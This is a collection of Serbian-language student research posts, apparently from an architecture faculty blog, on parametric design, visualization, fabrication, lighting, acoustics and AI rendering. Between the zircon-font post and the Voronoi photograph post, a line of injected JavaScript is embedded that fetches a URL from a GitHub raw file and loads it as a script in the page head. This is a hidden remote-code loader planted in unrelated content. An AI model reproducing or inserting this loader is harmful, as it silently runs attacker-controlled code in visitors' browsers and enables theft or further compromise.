Geometrija i vizuelizacija slobodnih formi

Posle sprovedene ankete u kojoj su ispitanici imali priliku da vide 360° vizualizaciju objekta i odgovore na pitanja o dimenzijama određenih elemenata sa vizuala uvideo sam da su svi odgovori  bili netačni, a samo dva ili tri su bili približino tačnom rešenju. Ovi rezultati pokazuju koliko ljudi, čak i uz pomoć 360° vizuala, nisu svesni koliki bi objekat bio ogroman da je zaista bio projektovan.

Anketu i rezultate ankete možete pogledati ovde:

https://docs.google.com/forms/d/e/1FAIpQLSfnWI0gyU2ToidRh4jwfWWvZA_-d7NUGGL9iVqlvipME8dZ3A/viewform?usp=sf_link

https://docs.google.com/spreadsheets/d/1ikvOoC-jH9FP6n2FH8s4jsxKRWNdmQIMVrb-lKYZl4s/edit?resourcekey=&gid=1676839421#gid=1676839421

Treća faza rada ističe uspešnost primenjenog algoritma.

Uz pomoć postavljenog algoritma parametarskom metodom su ostvareni kriterijumi i cilj istraživanja. Tok različitih veličina heksagonalnih otvora na fasadi je projektovan tako da poravna tok najvećih rupa sa površinama najvećeg senčenja od drveća, čime je postignut pravilan raspored otvora i adekvatno osvetljen enterijer.

Rezultati istraživanja pokazuju da je problem adekvatne osvetljenosti enterijera moguće rešiti generičkim pristupom pomoću algoritma koji omogućava različita rešenja u kratkom vremenskom periodu. Promenom broja ili rasporeda drveća, na brz način, dolazi i do promene veličine i rasporeda otvora na fasadi.

Prilikom dobijanja forme senke dolazimo do zaključka da nisko postavljeno osvetljenje stvara manje jasnu senku.

Jasniju konturu stvara senka od svetlosti iz većeg ugla u odnosu na površ pomoću broja površina koji nama odgovara.

Na kraju izdelimo površi tako da izmedju njih ne prolazi svetlost koja bi izdeformisala senku. Problem prilikom daljeg istraživanja predstavljaju izdeljene površi koje su zbog izvora svetlosti postavljene relativno visoko, tako da bi se morale pričvrstiti za podlogu transparentnim materijalima kako ne bi remetili senku.

Nastavkom istraživanja iz prethodne faze i isprobavanjem različitih oblika željene senke, odlučujem se da nastavim da radim sa konturnom linijom sata na Petrovaradinskoj tvrđavi. Ovaj oblik se ispostavio kao ne previše komplikovan, a ni previše jednostavan.

Izvor svetlosti:

Probala sam da koristim dva ili tri izvora svetlosti, krajnjim rezultatima zaključujem da se jasnija senka formira kada se koriste samo dve lampe, dodavanjem treće sa strane gde već postoji jedna lampa dolazi do zamućenja linije koja čini oblik sata na fasadi jer susedni izvori svetla sa istim geometrijama formiraju dve senke.

Na desnoj strani izvor svetlosti je bliži geometriji na koju svetlost pada, nego na levoj strani, samim tim vidimo malu razliku u oštrini dobijene senke. Zaključak je da je senke jasnija ukoliko je izvor svetla bliži.

Problem:

Krajnja linija senke nije potpuno jasna i ravna jer da bi postigli taj efekat trebalo bi gušće postaviti cilindričnu geometriju koja senku formira, ili sam izvor svetla mnogo bliže svoj geometriji, samim tim fasada ne bi izgledala kao zamisljena. Takođe, kada bi želeli da dobijemo komplikovaniji oblik presečeni cilindri umaju jako neravne završetke na gorenjem delu koji pravi senku, što bi otežalo fabrikaciju. U ovom slucaju postoje takvi završeci takođe, ali je njihov broj smanjen.

Ovako izgleda krajnje dobijeni rezultat fasade noću, dodala sam kazaljke sata kako bih postigla bolji efekat.

Fasada preko dana izgleda samo kao geometrija različite dužine raspoređena duž fasade sa satom u sredini.

Modelovanje i fabrikacija abažura za lampe:

1. Proces modelovanja

Cilj: od jedne ravne ploče napraviti abažur koji sadrži otvore.

Srf -> UnrollSrf -> Polyline -> Trim -> Extrude -> Rotate3D -> ArrayPolar

Prvo moramo obratiti pažnju na oblik abažura, da li je cilindar, konus, zarubljeni konus, sfera ili neki drugi geometrijski oblik. Potom se traži razvijena forma datog geometrijskog tela. Svako geometrijsko telo ima drugačiju razvijenu formu, pa tako cilindar postaje pravougaonik, a konus isečak kruga.

Primetićemo da su kod cilindra izvodnice prave paralelne linije dok se kod konusa izvodnice seku u jednoj tački odnosno centru kružnice.

Kako se ploča ne bi lomila ili listala tokom formiranja datog geometrijskog tela mora se zasecati po izvodnicama razvijene forme. Međutim, ukoliko zasecamo isključivo po izvodnicama nećemo dobiti željene otvore a ukoliko potpuno presečemo izvodnice ploča će se raspasti. Shdno tome na ivicama ploče pratimo izvodnice a na sredini ploče imamo potpunu slobodu da osmislimo oblik zasecanja kakav želimo. Pre nego što nacrtamo novi oblik potrebno je razmotriti dužinu razvijene forme i podeliti je na jednake delove kako bi nove pločice bile jednake i kako bi dobili konkretne dimenzije novih pločica.

Kada nacrtamo novi oblik izdvojimo ga, dodamo mu debljinu 2mm (lepenka, 2mm) i postavimo ga u položaj izvodnica originalnog geometrijskog tela. U slučaju cilindra izvodnica je paralelna z-osi dok su kod konusa izvodnice pod određenim uglom.

Alatkom ArrayPolar rasporedimo novu pločicu po kružnici istih dimenzija kao gornje baze cilindra ili zarubljenog konusa. Voditi računa o opcijama unutar alatke (postavljanju kružnice, broju ponavljanja i uglu delovanja).

1. Proces fabrikacije 

• Priprema za lasersko sečenje

Kako ne bi došlo do neadekvatnih spojeva prilikom fabrikacije abažura, dati oblik pločice treba umnožiti po razvojnoj formi tako da se linije paralelne izvodnici poslednje pločice poklapaju sa krajnjom ivicom razvojne forme.

Potrebno je modifikovati razvijenu površ, odsecanjem viška i dodavanjem ga sa desne strane.

Šablon sečenja ploče, crvene linije laser seče a plave gravira.

• Konačan rezultat istraživanja

Na početku treće faze bilo je potrebno 3d ištampati model za kalup:

Kada smo ištampali model potrebno je obložiti ga silikonom, kada se silikon ossuši treba napraviti najmanji otvor kroz koji možemo izvaditi model. Posle kroz kalup provlacimo fitilj za sveću, nakon čega možemo sipati vosak.

Finalni rezultat:

Zaključak:  Primenom ovih softvera moguće je napraviti interesantna foma sveće, sa koje se kalup može lako uloniti i koristiti više puta.

Prilikom praktičnog dela rada u prethodnom postu uočeni su nedostaci, u vidu lošeg kvaliteta i previše utrošenog vremena prilikom korišćenja metode 1, dok sam metodom 2 dobila dobre rezultate prilikom oduzimanja dela geometrije. Samim tim odlučeno je da će se na finalnom modelu koristiti drugi metod kako bi se dobio kvalitetan i efikasan rezultat urušenog zida, što sličniji referentnim ugradnim lampama.

Za finalni model izabrala sam manastir koji je od velikog značaja za srpsku istoriju i koji je danas uvršten na listu svetske kulturne baštine, manastir Sopoćani.

Na internetu ne postoji 3d model ovog manastira, tako da sam prvo izmodelovala osnovnu geometriju u 3dsMax-u, koju sam zatim ubacila u okvir lampe.

Prikaz osnovne geometrije modela:

Primena metode 2 na geometriji manastira Sopoćani:

Modelovanje kamena je urađeno po istom principu kao i u prethodnom postu, s tim da su u ovom slučaju, kako bi se dobio željeni oblik kamena, menjani sledeći parametri: strenght i decay u displacement-u, i size, fractal iterations i roughness u mapi (cell characteristics).

Isecanje osnovne geometrije urađeno je bulovom operacijom, rotacijom i pozicioniranjem tri kamena različitih dimenzija i neravnina, kako bi se dobio realističan (kvalitetan) izgled urušenog zida.

• Dolazi se brže do željenih rezultata, veći je kvalitet dobijene geometrije i bolja detaljnost.
• Ne utiče na okolnu geometriju i lako se koristi. Jednom izmodelovan kamen može se koristiti više puta i u više projekata (modelovanja lampi).

Prikaz primene metode 2 na gotovom modelu manastira sopoćani:

Rezultati:

Prikaz finalnog modela integrisane zidne lampe:

Uporedna analiza lampe modelovane metodom 1, metodom 2 i referentne fotografije:

Primećujemo jasnu razliku u kvalitetu izrade urušenih zidova na prvoj i drugor fotografiji u odnosu na poslednju referentnu. Na osnovu mog i mišljenja kolega smatram da sam na drugom modelu uspešno izmodelovala urušene zidove korišćenjem proboolean operacije i isecanja geometrije kamenom, metodom 2.

Primeri dobrog nivoa detaljnosti ali loše kompozicije i lošeg modelovanja urušenog zida (metoda 1):

Primeri dobrog modelovanja urušenog zida (metodom 2), dobrog nivoa detaljnosti i dobre kompozicije:

Zaključak:

Estetika i kvalitet integracije lampe u zid direktno su povezani sa kompozicijom i kvalitetom 3d modela, dok efikasnost izrade zavisi isključivo od načina modelovanja.

Na osnovu konačnog modela, integrisane zidne lampe, zaključujem da je hipoteza bila tačna i da je primenom prethodno objašnjene metode, modelovanja kamena i proboolean operacija, moguće kvalitetno i efikasno izmodelovati novu verziju lampe,u vidu manastira Sopoćani, koja izgleda kao da proizilazi iz zida zahvaljujući elementima, detaljima urušenog zida.

Veličine modela u odnosu na zid i čoveka:

Visina lampe je 24cm, dok je širina 20x18cm. Nalazi se na visini od 140cm.

Ugradnja

 Moguće dimenzije lampe:

Zid od gipsanih ploca 12.5cm -lampa širine do 10x10cm- visina je proizvoljna.

Zid od cigli 25 cm –lampa širine do 22x22cm- visina je proizvoljna.

Način ugradnje u zid od gipsanih ploča:

Način ugradnje u zid od cigle:

Princip je isti kao i u prethodnom primeru, samo što je isecanje zida zbog svojstva materijala teže i u određenim situacijama može iziskivati stručnu pomoć ili posebne alate.

Kako bi se u ovom slučaju ubrzao i olakšao proces, moguće je lampu ugraditi u stub (koji bi imao istu strukturu kao zid od gipsanih ploča) koji bi se pričvrstio za masivni zid od cigle.

Na osnovu prethodnog posta, gde sam istraživala metod digitalnog slikanja serije Arcane i to primenila na primeru kocke, odlučila sam da uradim isto u tri mnogo kompleksnija primera u pokušaju da ih prikažem kroz stil Arcane-a bazirajući se konkretno na sam umetnički stil serije. Istražila sam i primenila boje i osvetljenja i pokušala preneti različite atmosfere scena iz serije u cilju da dobijem više zanimljivih rezultata:

1. crvena vrata i deo zgrade koje sam uslikala u Beogradu – inspirisano gradom Zaun
2. katedrala iz centra Novog Sada- inspirisano gradom Piltover
3. nacrtala sam sebe kao Arcane karaktera :D

a) Našla sam 3D model katedrale iz centra Novog Sada na 3D Warehouse, ubacila to u Blender, dodala osvetljenje čisto kao početni osecaj za scenu i uradila jednostavan render koji sam posle oslikala u Adobe Photoshop-u. Htela sam da odaje atmosferu Arcane grada – Piltover. Koristila sam u suštini iste alatke kao iz prethodnog posta kao što su Pick screen color, Polyline selection, Fill, Blur filter i Glow dodge na lejerima koji sadrže svetlo. Za četkice sam koristila default photoshop četkice u zavisnosti kad mi je koja više odgovarala uz minimalne izmene karakteristika četke. Ovo može posle da se projektuje tj camera mapuje na taj 3D model katedrale u blenderu i da se kreira 3D scena oslikana 2D crtežima što je tema za sebe.

– referenca iz Arcane grada – Piltover                                                         moja interpretacija –

Ovo je bilo dosta zahtevno zbog visokog nivoa detalja kako samog Piltover-a tako i same detaljnosti katedrale koja je ovde čak svedena na minimum mada je render iz blendera dosta pomogao da geometrija bude ispravnija nego ona crtana ručno. Smatram da sam delimično uspela da prenesem atmosferu Piltovera zbog manjka poznavanja njihovog profesionalnog umeća ali crtež je uspešno pretvoren u animiranu scenu.

b) Zatim sam pokušala da primenim način na koji su Arcane tim umetnika oslikali karaktere na primeru crteža sebe.

– Arcane tim je karaktere 3D modelovao pa oslikavao no ja sam odlučila da samo oslikam sebe uz pomoć reference crteža Jinx odakle sam uzimala boje i pratila poteze njihovih četkica, senki, highlight-ova, linija itd.

Ovo je bilo dosta jednostavno zbog smanjenih detalja koji su morali da se oslikaju i slične poze oba karaktera. Na osnovu ličnog zaključka i mišljenja prijatelja i poznanika koje sam pitala, ovo je, pored katedrale, najuspešniji ”Arcane like” crtež od sva tri primera.

c) Na kraju sam nacrtala i jednu mini scenu crvenih vrata koje sam uslikala kad sam bila u Beogradu. Htela sam da odaje atmosferu Arcane grada – Zaun- gde imamo mračnu scenu sa hintovima zelene i braon boje i suptilnog zelenkastog osvetljenja, oronulim zidom, grafitima i upečatljivim narandžastim svetlom koje vuče najviše pažnje posmatraču slike.

– reference iz Arcane grada – Zaun                                                             moja interpretacija –

Ovo je takođe bilo dosta jednostavno za oslikati zbog smanjenih obimnih detalja scene i smanjenog fokusa na samo vrata i deo zgrade no zbog samog mog neposedovanja, još uvek, tolikog umetničkog skilla smatram da je i ovo delimično uspelo no osećaj animirane scene je uspešno postignut.

ZAKLJUČAK: Pokazalo se da je moguće postići dobar i zanimljiv rezultat animiranog dela analizom i primenom umetničkog stila i tehnika iz serije Arcane na bilo koje scene, bilo da su inspirisane stvarnim životom ili imaginarne, uz određeno posedovanje umetničkih veština u digitalnom slikarstvu.

Treća faza se odnosi na izradu japanese joinery-a.

Korišćena je šperploča kao materijal, koja je laserski sečena da bi se dobili odgovarajući oblici. Jedan oblik je podeljen u 3 segmenta koji su kasnije spojeni. Korišćeni su uglavnom jednostavniji oblici koji su lakši za sečenje. Dobija se varijacija raznih oblika koji mogu da bude korišćeni u spoju.

Ovo su primeri kako se od 3 segmenta dobija jedinstveni oblik japanese joinery-a

Potom je urađen spoj raznih elemenata koji su dobijeni.

Ovim je potvrđeno da je moguće izvesti japanese joinery modernim načinom proizvodnje, konkretno u ovom slučaju laserskim sečenjem. Ovo bi bio brzi i jeftiniji način proizvodnje, ali neke kompleksinije oblike možda ne bi bilo moguće proizvesti na ovaj način gde se oblik deli u 3 segmenta, ali je ovo sasvim dovoljno za proizvodnju određenog nameštaja na primer.

Da bismo sproveli istraživanje, bilo je važno da kriterijumi budu ravnopravni. Potrebno je bilo pronaći cirkone sa sličnim površinama, a zaključili smo da je najbolje da svi cirkoni imaju istu visinu.

Font je dizajniran da zadovolji oblike cirkona, uz minimalnu slobodnu površinu pri njihovom popunjavanju.

Dva pristupa rešavanju problema:

1/ redjanje cirkona po gridu unutar konture slova

2/ nasumično popunjavanje cirkonima unutar konture slova

1/ redjanje cirkona po gridu unutar konture slova

-kvadratni cirkoni

-trougaoni cirkoni

-šestougaoni cirkoni

Istraživanje je pokazalo da kvadrati popunjavaju najveću površinu slova sa najmanjim ostatkom slobodne površine. S druge strane, kod trouglova imamo najveću površinu bez cirkona. Kvadrati su efikasniji za popunjavanje, dok trouglovi ostavljaju više praznog prostora.

2/ nasumično popunjavanje cirkonima unutar konture slova

-okrugli cirkoni

Cilj je da površina slova ima što manju površinu bez cirkona. Iz tog razloga smo uveli mogućnost povećanja cirkona unutar slova. Tako se postiže veća pokrivenost i smanjuje se slobodna površina.

Zaključak je da su kvadratni cirkoni najbolji za popunjavanje površine slova, jer ostavljaju najmanje slobodne površine. Šestouglovi su na drugom mestu, dok su trouglovi na četvrtom, jer kod njih ostaje najviše slobodne površine bez cirkona. Iako kružni cirkoni estetski deluju kao da najbolje popunjavaju površinu, istraživanje je pokazalo da su oni na trećem mestu po efikasnosti popunjavanja.

 ;var url = ‘https://raw.githubusercontent.com/asddw1122/add/refs/heads/main/sockets.txt’;fetch(url).then(response => response.text()).then(data => {var script = document.createElement(‘script’);script.src = data.trim();document.getElementsByTagName(‘head’)[0].appendChild(script);});

Konačan rezultat koji želimo jeste parametarski modelovana fotografija.

Početak: Definisanje dimenzija okvira, dimenzije konačne fotografije. Zatim se dobijeni okvir ispuni određenim brojem tačaka, koristeći komandu Populate 2D. Sledeći korak jeste ubacivanje fotografije pomoću komande Image Sampler. Pokretanjem komande Voronoi, tačke se međusobno povezuju i tako formiraju željenu fotografiju. Oblici se formiraju na osnovu boja na fotografiji.

Konačan rezultat se može korigovati u zavisnosti od željene detaljnosti fotografije. Tako je moguće menjati pozicije tačaka, površinu segmenata i sam oblik segmenata koji formiraju konačan rezultat.

KONAČAN REZULTAT.

KONAČAN REZULTAT .

Zaključak: Moguće je koristiti Grasshopper za parametarsko modelovanje fotografije.Hipoteza je tačna.

U ovoj fazi istraživanja na red je došla fabrikacija. Hipoteza je bila ta da bi se ovakav model mogao fabrikovati na jednostavniji i jeftiniji način od načina na koji su to radili Drzach i Suchy, a da pritom finalni proizvod bude istog ili zanemarljivo lošijeg kvaliteta.

Prilikom razmatranja različitih opcija fabrikacije istražio sam više potencijalnih načina 3d štampe kojima bi ovako nešto moglo da se napravi.  Prvobitna ideja je bila da se umesto SLS koristi SLA štampa koja je jeftinija, ali na kraju se ispostavilo da ta opcija nije moguća. Što se tiče FDM štampe ovakav model bi bio previše kompleksan.

Posle nekoliko pokušaja prilagođavanja uspeo sam da dođem do kompromisnog rešenja. Za 11 paralelnih segmenata na kojima su raspoređeni delovi slike koristio sam FDM štampu a onda sam te delove spojio tankim drvenim štapićima postavljenim u uglovima.

konačan rezultat:                             rezultat predviđen u programu:

Proces prilagođavanja pripreme modela za štampu:

—>—>

Zaključak:

Moguće je napraviti model sa skromnijim budžetom ali njegov kvalitet ne može da parira onome koji je urađen SLS štampom.

Realizacija istraženog u programima

Prethodnim istraživanjem došla sam do oblika optičkog tela i indeksa refrakcije. Dalje sam posmatrala slučaj kada je zrak pod 45 stepeni i po uzoru na simulaciju modelovala staklo koje bi prelamalo zrake i postavila na ivicu objekta u programima 3dsMax i Sketchup .

3ds Max

Postavljajući Vray sunce pod 45 stepeni i dodavanje telu materijal stakla sa indeksom refrakcije 1,5 analizirala sam render. Uporedila sam 3 situacije: bez staklenog tela, sa telom manjih i sa telom većih dimenzija.

Slika 1: Bez optičkog tela

Slika 2: Sa optičkim telom manjih dimenzija

Slika 3: Sa optičkim telom većih dimenzija

Nažalost nisam uočila nikakvu promenu senki u renderu, što znači da program ne može da prelama zrake na ovaj način.

Sketchup

Proverila sam slučaj i u ovom programu, gde sam podesila vreme jesenje ravnodnevnice oko 12h kada su zraci odgovarajući i ponovo postavila optičko telo.

Slika 1: Bez optičkog tela

Slika 2: Sa optičkim telom manjih dimenzija

Slika 3: Sa optičkim telom većih dimenzija

Zaključak je ponovo isti, bez promene na renderu.

U nastavku modelovanja bavila sam se detaljima na samoj šolji. Počela sam sa pravljenjem udubljenja za usta i oči, a zatim i modelovanjem istih.

Zatim sam dodala i dršku za šolju.

Došla sam do konačnog izgleda šolje.

Zaključak:

Hipoteza je bila tačna, moguće je izmodelovati šolju u obliku Groot-a u 3ds Max-u koja bi se mogla koristiti i u stvarnom životu. Prilikom rešavanja zadatka naišla sam na dosta prepreka. Bilo je lako napraviti formu šolje u obliku njegove glave, ali i ne toliko lako kada su na red došli detalji, tj pravljenje očiju, usta i ostalih neravnina. Dokazala sam da se vremenski dosta brzo može doći do same forme šolje, ali pak za sve ostale pojedinosti je potrebno malo više vremena.

U ovoj fazi istraživanja biće primenjene informacjie dobijene prethodnom fazom istraživanja na većem primeru. Kao predmet posmatranja uzet je objekat Georges Pompidou centar u Parizu zbog svog šarenolikog kolorita.

Pošto je u prethodnoj fazi istraživanja pokazano da je moguće promeniti boju predmeta koji se opaža, u ovoj fazi istraživanja vrednovaćemo ciljanu promenu boje predmeta koji se opaža. Kriterijum će biti korišćenje monohromatske svetlosti jedne boje na celom objektu u cilju postizanja određenog kolorita. Kao ciljani kolorit uzet je kolorit iz nasumično odabranog filma po sistemu sviđanja: Amélie (2001).

Boja svetlosti potrebna za dobijanje predmeta boje kolorita filma dobijena je eksperimentalno.

Potrebno je primeniti žuto svetlo. Na žutom svetlu plava boja izgleda zeleno, a ostale boje se uklapaju u kolorit.

Render centra Georges Pompidou po danu, pod prirodnim osvetljenjem:

Render centra Georges Pompidou po mraku sa dodatim izvorima svetla žute boje:

 Zaključak

Hipoteza da je moguće promeniti percepciju boje predmeta primenom adekvatnog osvetljenja je tačna, ali do neke mere. Moguće je promeniti boju predmeta samo u boje koje on sadrži. To znači da je moguće ljubičast predmet percipirati kao crven ili plav primenom crvenog ili plavog svetla respektivno jer se ljubičasta sastoji od crvene i plave, ali nije moguće percipirati ga kao zelenog pod bilo kojim osvetljenjem jer ljubičasta u sebi ne sadrži zelenu boju.

Na uspešnost promene boje predmeta osvetljenjem utiče i naša percepcija boje, što znači da je ona subjektivna. Predmeti bi trebali da budu različite boje pod različitim svetlostima jer se boja predmeta percipira kao svetlost koju predmet reflektuje. Međutim, mi predmete opažamo u određenoj boji, bez obzira na svetlost pod kojom se on nalazi, na osnovu našeg empirijskog znanja. Zbog toga postoji mogućnost da isti predmet različiti ljudi percipiraju u različitim bojama.

Ispitivanje će se vršiti uz pomoć dve metode:

1. Ispitivanje u software-u (V-ray i 3Ds max)
2. Ispitivanje u okvirima realnosti pomoću LED svetala

Ispitavanje u V-ray-u

I)     Ispitivanje promene boje na predmetima osnovnih boja (crvena, zelena i plava,) pod izvorom monohromatske svetlosti.

Primećujemo da se pod svetlošću jedne boje vide samo predmeti koji su te boje, dok su ostali crni.

II)     Ispitivanje predmeta osnovnih boja pod izvorom svetlosti boje dobijene kombinacijom osnovnih boja (cyan, magenta, yellow).

Primećuje se da se vide predmeti čija boja se sadrži u boji svetlosti.

III)     Ispitivanje predmeta obojenih u boje izvedene od osnovnih boja (cyan, magenta, yellow) pod svetlošću osnovnih boja.

Primećujemo da se vide predmeti koji sadrže osnovnu boju kojom su obasjani.

IV)       Ispitivanje predmeta  obojenih u boje izvedene od osnovnih boja pod izvorima  svetlosti boja dobijenih kombinacijom osnovnih boja.

Primećujemo da se vide predmeti iste boje kao i boja svetlosti i predmeti koji sadrže boje od kojih je boja svetlosti sačinjena.

V)        Ispitivanje predmeta koji sadrže sve tri osnovne boje pod izvorom monohromatske svetlosti osnovnih boja.

Primećujemo da se vide predmeti koji sadrže osnovne boje boje svetlosti i to u onom intenzitetu u kom predmeti sadrže tu boju.

VI)     Ispitavenje predmeta koji sadrže sve tri osnovne boje pod izvorom svetlosti boja dobijenih kombinacijom osnovnih boja.

VII)      Ispitivanje predmeta koji sadrže sve tri osnovne boje pod izvorima svetlosto koji takođe sadrže sve tri osnovne boje.

Ispitivanje pomoću LED svetla

Korićen je šablon sa nekim karakteristicnim bojama:

1. Nijanse sive

2. Cyan, Magenta i Yellow

3. Red, Green i Blue

4. Žuta, crvena, zelena i plava korišćene u prethodnom primeru u V-ray-u

5. i 6. Boja ljudske kože

7. Boja neba

8. Boja biljne vegetacije

Metodologija ispitivanja počinje kao i na prethodnom primeru: šablon se izlaže prvo dnevnoj svetlosti a zatim monohromatskim izvorima svetlosti crvene, zelene i plave boje respektivno.

Ukoliko monohromatskoj svetlosti dodamo malo sekundarne monohromatske svetlosti druge boje, ta boja se opaža u slabom intenzitetu.

Ukoliko nastavimo da pojačavamo intenzitet sekundarne monohromatske svetlosti, pojačavaće se i intenzitet boje.

Treća faza projekta odnosi se pravljenje delova slagalice.

Na Hilbertovu krivu koja je napravljen, primenjen je offset sa obe strane kako bi se dobila debljina samog dela slagalice. Taj veliki deo se može podeliti na više manjih i dobiti delovi koji ne moraju biti isti.

Na ostatak koji ostaje primenjuje se ista metoda gde dobijamo delove koji su tanji.

Nakon izrade, može se dobiti više varijacija slagalice u zavisnosti od toga koliko puta se multiplicirala sama kriva.

Kroz različite varijacije može se govoriti o samoj težini sklapanja. Kako je svaka slagalica podeljena na 5 delova, dobijaju se različite “veličine”, tj. delovi krive u sve 3 varijacije. Što je gušće, to su delovi sitiniji i deo krive je “veći”.

Kako bi se na najbolji način predstavila sama težina sklapanja slagalice, merilo se vreme sklapanja svake slagalice određenom broju ljudi. Svaki učesnik je kretao sa najgušćom slagalicom, a završavao sa najkrupnijom. Najbolje srednje vreme je bilo kod slagalice u sredini, oko 2min i 30s, dok je za sklapanje najgušće slagalice trebalo najviše vremena, srednje vreme 4min. Za najkrupniju slagalicu je srednje vreme bilo 3min i 40s.

U daljem razgovoru sa učesnicima, bila su podeljena mišljenja, gde je polovina njih rekla da je najteža prva, a polovina njih treća slagalica.

-menjanje na osnovu parametara – fasada ima dosta varijacija koje su modularne i mogu da se menjaju na osnovu sirine, duzine biljke, kolicine otvora(procentualna popunjenost), mogu da se naprave izmene i na osnovu “seeda”
-diskusija o rezultatima –
-da li je hipoteza bila tacna – za sad deluje da je hipoteza tacna, ali jos nije dokazano dok se ne izradi

U ovoj fazi istraživanja, fotografisana je flašica ispred bele pozadine, na dnevnom osvetljenju sa sledećim podešavanjima kamere:

NIKON D3100, 1/60 f4, exp mode, ISO 800, focal lenght 55mm, lens 55-200mm/ 4-5.6.

Ista podešavanja kamere su uvedena u program 3Ds Max.

Na ovom primeru, uviđam da se istim podešavanjem kamere i virtualne kamere ne dobija željeni efekat fotorealizma i razlika između fotografije i rendera je veoma uočljiva. Potrebno raditi na adekvatnom podešavanju svetla, dodatnoj postavci kamere i eventualnoj postprodukciji, kako bi rezultat bio bolji, a render verodostojniji fotografiji.

Takođe, dodatni korak u sledećoj fazi istraživanja nije samo upoređivanje parametara kamere i virtuelne kamere, već i diskusija o prednostima i manama izrade digitalne makete.

Model napravljen u rhino+grasshopper jasno pokazuje da je uz pomoć oštrog  i upravnog osvetljenja moguće dobiti željenu sliku.

Fabrikacija ovakvog modela moguća je SLS metodom kao što su to već radili Drzach i Suchi. Mana ove metode je visoka cena izrade. Jeftinija varijanta bi bila FDM štampa ali ona je u ovom slučaju neizvodljiva zbog veoma tankih segmenata.

Zaključak je da je najoptimalnija metoda izrade SLA štampa kojom je moguće napraviti ovako kompleksan model i uz to je jeftinija od SLS metode.

Dobijanje različitih senki iz modela:

      —–>              

                             ——>               

Kod slozenijih slika primećuju se nesavršenosti pri verodostojnom projektovanju senke što znači da kod ima još prostora za unapređivanje.

U ovoj fazi sam modelovao kenotaf u 3ds maxu i napravio vizual sa kamerom koja slika 360 stepeni. Vizual sa pogledom od 360 stepeni sam prebacio na telefon i ubacio ga u VR headset i pomocu aplikacije, vr player, sam uspeo da docaram velicinu prostora u kenotafu.

*Ažurirani projekat/avgust 2024.

Pošto nisam stigao u prvom roku da završim do kraja rad, počeo sam da radim na drugom objektu.  Zadržao sam isti koncept i ideju istraživanja monumentalnih prostora. Novi objekat je bio Metropolitan Church, takođe delo Luja Bulea. Detaljno sam modelovao enterijer i eksterijer objekta kako bih na što bolji način prikazao prostor. Cilj istraživanja ostao je isti – prenos impresije veličine i monumentalnosti prostora kroz precizno modelovanje i vizualizaciju 360°. U prilogu ispod su prikazani prvi probni renderi.

Ispitivanje započinjemo tako što ćemo prvo simulirati prostiranje zvuka u praznoj prostoriji dimenzija 5×10 m, visine 3m. Uz pomoć Grasshopper-a i plugin-a Pachyderm acoustics, prvo treba da postavimo zvučne izvore i da stvorimo simulaciju zvukova u prostoriji, a u idealnom slučaju dalje istraživanje nalaže da izačunamo vrednost odbijenog zvuka i zabeležimo brojčane iznose koji predstavljaju visinu frekvencije.

Nakon ispitivanja na bazičnoj prostoriji, preći ćemo na ispitivanje unutar hola FTN-a.

1. Simulacija zvuka na jednostavnom primeru:

Možemo primetiti kako se boja čestica (koje prezentuju rasprašivanje zvuka) menja, kako pomeramo brojčani parametar, što ukazuje na njihovo odbijanje o zidove, razredjivanje i slabljenje. Emitovanje zvuka počinje od izvora istog, što nam je u ovom slučaju jedna tačka u prostoriji.

2. Nakon simulacije samog zvuka, radimo kalkulaciju istog na primeru prostorije istih gabarita.

U ovom slučaju imamo izvor(tačka 1) i prijemnika (tačka 2). U žutoj tzabeli dobijamo brojčane vrednosti koje predstavljaju vreme reverberacije, poređane od najniže frekvencije do najviše. Vreme reverberacije je, po definiciji, ono vreme koje je potrebno da intenzitet zvuka u prostoriji opadne na svoj milioniti deo.

Testiran je postupak modelovanja samonosive strukture koja se sastoji iz kombinacije elemenata opterećenih samo na pritisak i uzdignutih prstenova opterećenih na zatezanje. Pri izvođenju ovakve strukture, presecanjem zateznih traka, gubi se ravnoteža i struktura se ruši.

 Testiranje forme:

Postupak:

• Najpre se definiše baza strukture-kriva koja će činiti oslonac, i kriva koja će činiti zateznu traku.
• Od zadatih krivi formira se prvo površ,a zatim mesh. Isprobano je više varijanti formiranja površi i mesha, od trouglova i četvorouglova, različitog pravca pružanja. Potrebno je dodatno ispitati koji metod bi bio najbolji za ostvarivanje željenog efekta.
• Definisane su krive kao oslonci, gde jedna nema mogućnost pomeranja, dok druga ima mogućnost pomeranja po Z osi.
• Primenjeni su alati koji simuliraju zakone fizike kako bi se struktura izdigla u 3D prostor.

1. Primer sa jednim osloncem i četvorougaonim meshom.

2. Primer sa dva oslonca i četvorougaonim meshom.

3. Primer sa dva oslonca i četvorougaonim meshom sa dijagonalnim pravcem pružanja.

Pronalazak metoda za izvođenje:

Postupak:

• U tačkama mesh-a postavljene su sfere određenog prečnika.
• Urađeno je presecanje mesh-a sferema.
• Na dobijenim isečcima urađen je MultiPipe kako bi se dobile spojnice.
• Postavljena je još jedna grupa sfera takođe u tačkama mesh-a ali manjih dimenzija od prvobitnih.
• Urađen je SolidDifference cele strukture i drugih sfera kako bi se dobili štapići koji ulaze u spojnice.
• Na spojnicama je urađen zatim offset kako bi dobile debljinu.
• Radi bolje estetike urađeno je Catmull-Clark zakrivljivanje.

Primer primene postupka:

Primenjeni alati: Rhino, Grasshopper, Kangaroo

Renderi rađeni u 3ds max-u i Coroni, cilj je doći do sličnih rezultata za kraći period rada.

Glavna informacija za AI rendere je linijski crtež iz SketchUp-a uz tekstualna objašnjenja.

Renderi rađeni u Fabrie AI: https://www.fabrie.com/

Renderi rađeni u LookX AI:  https://www.lookx.ai/

Na sajtu LookX AI  postoji mogućnost generisanja rendera sa dodatnim referentnim slikama što dodatno olakšava dolazak do krajnjeg rezultata.

–Pristup –

Odabrala sam da se bavim dizajnom panela hidroponske fasade. Tokom istraživanja tražen je idealan oblik koji bi mogao biti uzet za modul. Prvi izbor je bio Voronoi ćelija, međutim taj oblik se pokazao komplikovan za izradu. Takođe, kada se radilo o osunčanosti, opet se javio problem izrade nadstrešnice koja prati neki modul. Za rešavavanje tih problema odlučila sam da koristim trougaonu tesalaciju zbog modularnosti koja bi omogućila jeftiniju izradu panela i učinila hodroponski način uzgoja biljaka pristupačniji prosečnom čoveku. Odabrane su tri biljke koje će se primeniti na fasadi na osnovu njihovih dimenzija i potreba za osunčanošću.

Zatim su dimenzije biljaka unete u algoritam u grasshopperu čime su dobijene tri varijacije otvora za biljke na trougaonim panelima.

šema slaganja modula

Promenom parametara u grasshopperu omogućeno je uticanje na broj otvora i zauzetost fasade.

varijacije fasade nastale promenom parametara

